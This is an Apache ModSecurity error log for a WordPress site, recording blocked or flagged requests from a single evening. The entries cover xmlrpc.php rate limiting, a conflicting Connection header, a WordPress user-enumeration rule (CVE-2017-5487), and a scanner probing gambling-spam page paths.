[Thu May 07 17:59:55.403954 2026] [:error] [pid 15631:tid 15711] [client 121.52.158.248:62628] [client 121.52.158.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.158.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxim3vP1GkPUuuLfqUoMwAAANg"]
[Thu May 07 18:00:05.985582 2026] [:error] [pid 15631:tid 15707] [client 121.52.158.248:63118] [client 121.52.158.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.158.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxipXvP1GkPUuuLfqUoagAAANQ"]
[Thu May 07 18:00:16.484493 2026] [:error] [pid 28098:tid 28104] [client 121.52.158.248:63508] [client 121.52.158.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.158.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxisMvhwfljlt8trSrCagAAAEQ"]
[Thu May 07 18:00:26.903020 2026] [:error] [pid 28098:tid 28120] [client 121.52.158.248:63896] [client 121.52.158.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.158.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxiusvhwfljlt8trSrChgAAAFQ"]
[Thu May 07 18:34:25.896152 2026] [:error] [pid 15631:tid 15702] [client 101.32.52.164:50768] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afxqsXvP1GkPUuuLfqUtcAAAAM8"]
[Thu May 07 20:00:11.758146 2026] [:error] [pid 28098:tid 28100] [client 35.238.76.120:64146] [client 35.238.76.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.238.76.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afx-y8vhwfljlt8trSrqQwAAAEA"]
[Thu May 07 20:00:16.489192 2026] [:error] [pid 28098:tid 28122] [client 35.238.76.120:64146] [client 35.238.76.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "afx-0Mvhwfljlt8trSrqRgAAAFY"]
[Thu May 07 20:00:17.912767 2026] [:error] [pid 28098:tid 28121] [client 35.238.76.120:64146] [client 35.238.76.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.238.76.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afx-0cvhwfljlt8trSrqSAAAAFU"]
[Thu May 07 20:00:19.834786 2026] [:error] [pid 15631:tid 15710] [client 35.238.76.120:49746] [client 35.238.76.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.238.76.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afx-03vP1GkPUuuLfqU7dgAAANc"]
[Thu May 07 20:00:21.818874 2026] [:error] [pid 15715:tid 15731] [client 35.238.76.120:63190] [client 35.238.76.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.238.76.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afx-1SY4dZsLOttMkced6QAAAQs"]
[Thu May 07 20:00:23.749370 2026] [:error] [pid 15631:tid 15692] [client 35.238.76.120:52967] [client 35.238.76.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.238.76.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afx-13vP1GkPUuuLfqU7eAAAAMU"]
[Thu May 07 20:00:25.668413 2026] [:error] [pid 15715:tid 15732] [client 35.238.76.120:50700] [client 35.238.76.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.238.76.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afx-2SY4dZsLOttMkced6wAAAQw"]
[Thu May 07 20:00:25.668621 2026] [:error] [pid 15715:tid 15732] [client 35.238.76.120:50700] [client 35.238.76.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.238.76.120, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afx-2SY4dZsLOttMkced6wAAAQw"]
[Thu May 07 20:15:32.992726 2026] [:error] [pid 15715:tid 15725] [client 117.207.205.194:59831] [client 117.207.205.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.207.205.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyCZCY4dZsLOttMkcegbAAAAQg"]
[Thu May 07 20:15:43.315164 2026] [:error] [pid 28098:tid 28103] [client 117.207.205.194:60307] [client 117.207.205.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.207.205.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyCb8vhwfljlt8trSrs4AAAAEM"]
[Thu May 07 20:15:53.928202 2026] [:error] [pid 28098:tid 28112] [client 117.207.205.194:60796] [client 117.207.205.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.207.205.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyCecvhwfljlt8trSrs6gAAAEw"]
[Thu May 07 20:16:04.695548 2026] [:error] [pid 15631:tid 15699] [client 117.207.205.194:61180] [client 117.207.205.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.207.205.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyChHvP1GkPUuuLfqU8_QAAAMw"]
[Thu May 07 20:16:15.342193 2026] [:error] [pid 28098:tid 28107] [client 117.207.205.194:61562] [client 117.207.205.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.207.205.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyCj8vhwfljlt8trSrtAQAAAEc"]
[Thu May 07 20:16:25.938227 2026] [:error] [pid 15631:tid 15699] [client 117.207.205.194:61942] [client 117.207.205.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.207.205.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyCmXvP1GkPUuuLfqU9PAAAAMw"]
[Thu May 07 20:58:19.129282 2026] [:error] [pid 15715:tid 15722] [client 45.114.193.22:65438] [client 45.114.193.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.193.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyMayY4dZsLOttMkcerdgAAAQU"]
[Thu May 07 20:58:29.770962 2026] [:error] [pid 15715:tid 15740] [client 45.114.193.22:65476] [client 45.114.193.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.193.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyMdSY4dZsLOttMkcerhAAAARQ"]
[Thu May 07 20:58:40.543905 2026] [:error] [pid 15631:tid 15694] [client 45.114.193.22:63226] [client 45.114.193.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.193.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyMgHvP1GkPUuuLfqVE9AAAAMc"]
[Thu May 07 20:58:51.353890 2026] [:error] [pid 15631:tid 15687] [client 45.114.193.22:65437] [client 45.114.193.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.193.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyMi3vP1GkPUuuLfqVFEwAAAMA"]
[Thu May 07 20:59:02.136555 2026] [:error] [pid 28098:tid 28106] [client 45.114.193.22:65454] [client 45.114.193.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.193.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyMlsvhwfljlt8trSr9VAAAAEY"]
[Thu May 07 21:55:52.317145 2026] [:error] [pid 15629:tid 15655] [client 103.179.240.99:60974] [client 103.179.240.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.240.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyZ6PrIJCALdUrO43mGAgAAABY"]
[Thu May 07 21:56:02.572652 2026] [:error] [pid 28098:tid 28119] [client 103.179.240.99:61362] [client 103.179.240.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.240.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyZ8svhwfljlt8trSoWigAAAFM"]
[Thu May 07 21:56:13.111782 2026] [:error] [pid 28098:tid 28118] [client 103.179.240.99:61908] [client 103.179.240.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.240.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyZ_cvhwfljlt8trSoWngAAAFI"]
[Thu May 07 21:56:23.645819 2026] [:error] [pid 15631:tid 15697] [client 103.179.240.99:62278] [client 103.179.240.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.240.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyaB3vP1GkPUuuLfqVRSwAAAMo"]
[Thu May 07 21:56:34.213567 2026] [:error] [pid 15715:tid 15718] [client 103.179.240.99:62642] [client 103.179.240.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.179.240.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afyaEiY4dZsLOttMkce8AAAAAQE"]
[Thu May 07 22:51:25.725792 2026] [:error] [pid 28098:tid 28121] [client 195.250.15.142:63244] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afym7cvhwfljlt8trSotBQAAAFU"]
[Thu May 07 22:51:28.317621 2026] [:error] [pid 15715:tid 15736] [client 195.250.15.142:60039] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afym8CY4dZsLOttMkcfMbAAAARA"]
[Thu May 07 22:51:30.652715 2026] [:error] [pid 15630:tid 15660] [client 195.250.15.142:62241] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afym8nTithRAi4821qvPbwAAAIA"]
[Thu May 07 22:51:32.973302 2026] [:error] [pid 15630:tid 15682] [client 195.250.15.142:63832] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afym9HTithRAi4821qvPcQAAAJY"]
[Thu May 07 22:51:35.205691 2026] [:error] [pid 15630:tid 15661] [client 195.250.15.142:64429] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afym93TithRAi4821qvPcgAAAIE"]
[Thu May 07 22:51:37.551470 2026] [:error] [pid 15630:tid 15681] [client 195.250.15.142:59796] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afym-XTithRAi4821qvPdAAAAJU"]
[Thu May 07 22:51:39.769926 2026] [:error] [pid 15631:tid 15705] [client 195.250.15.142:63700] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afym-3vP1GkPUuuLfqVekwAAANI"]
[Thu May 07 22:51:41.920775 2026] [:error] [pid 15715:tid 15744] [client 195.250.15.142:64017] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afym_SY4dZsLOttMkcfMdQAAARg"]
[Thu May 07 22:51:44.136119 2026] [:error] [pid 15715:tid 15732] [client 195.250.15.142:62622] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afynACY4dZsLOttMkcfMfwAAAQw"]
[Thu May 07 22:51:46.070194 2026] [:error] [pid 15715:tid 15743] [client 195.250.15.142:61489] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afynAiY4dZsLOttMkcfMjAAAARc"]
[Thu May 07 22:51:48.275072 2026] [:error] [pid 28098:tid 28105] [client 195.250.15.142:64701] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afynBMvhwfljlt8trSotEgAAAEU"]
[Thu May 07 22:51:50.568011 2026] [:error] [pid 28098:tid 28106] [client 195.250.15.142:60158] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afynBsvhwfljlt8trSotFAAAAEY"]
[Thu May 07 22:51:52.731595 2026] [:error] [pid 15630:tid 15661] [client 195.250.15.142:63270] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afynCHTithRAi4821qvPggAAAIE"]
[Thu May 07 22:51:54.782550 2026] [:error] [pid 28098:tid 28105] [client 195.250.15.142:60099] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afynCsvhwfljlt8trSotHgAAAEU"]
[Thu May 07 22:51:56.821633 2026] [:error] [pid 15715:tid 15722] [client 195.250.15.142:61592] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afynDCY4dZsLOttMkcfMlAAAAQU"]
[Thu May 07 22:51:59.088599 2026] [:error] [pid 15630:tid 15675] [client 195.250.15.142:62279] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afynD3TithRAi4821qvPjQAAAI8"]
[Thu May 07 22:52:01.327840 2026] [:error] [pid 28098:tid 28105] [client 195.250.15.142:64791] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afynEcvhwfljlt8trSotKgAAAEU"]
[Thu May 07 22:52:04.385098 2026] [:error] [pid 28098:tid 28111] [client 195.250.15.142:62523] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afynFMvhwfljlt8trSotMQAAAEs"]
[Thu May 07 22:52:06.374023 2026] [:error] [pid 15715:tid 15724] [client 195.250.15.142:61522] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afynFiY4dZsLOttMkcfMpAAAAQc"]
[Thu May 07 22:52:08.640336 2026] [:error] [pid 15630:tid 15683] [client 195.250.15.142:61557] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afynGHTithRAi4821qvPkAAAAJc"]
[Thu May 07 22:52:10.617221 2026] [:error] [pid 28098:tid 28114] [client 195.250.15.142:63844] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afynGsvhwfljlt8trSotMwAAAE4"]
[Thu May 07 22:52:12.728124 2026] [:error] [pid 15715:tid 15722] [client 195.250.15.142:63611] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "afynHCY4dZsLOttMkcfNCQAAAQU"]
[Thu May 07 22:52:14.999466 2026] [:error] [pid 15629:tid 15651] [client 195.250.15.142:63878] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "afynHvrIJCALdUrO43mPgQAAABI"]
[Thu May 07 22:52:17.377846 2026] [:error] [pid 15631:tid 15701] [client 195.250.15.142:63367] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "afynIXvP1GkPUuuLfqVepgAAAM4"]
[Thu May 07 22:52:19.398056 2026] [:error] [pid 15715:tid 15732] [client 195.250.15.142:61961] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "afynIyY4dZsLOttMkcfNCgAAAQw"]
[Thu May 07 22:52:21.552447 2026] [:error] [pid 28098:tid 28114] [client 195.250.15.142:62466] [client 195.250.15.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "afynJcvhwfljlt8trSotPAAAAE4"]
[Thu May 07 23:18:16.852611 2026] [:error] [pid 15630:tid 15671] [client 158.173.67.76:23509] [client 158.173.67.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afytOHTithRAi4821qvVOgAAAIs"]
[Thu May 07 23:50:59.518192 2026] [:error] [pid 15631:tid 15703] [client 62.84.185.69:21582] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afy043vP1GkPUuuLfqVorQAAANA"]
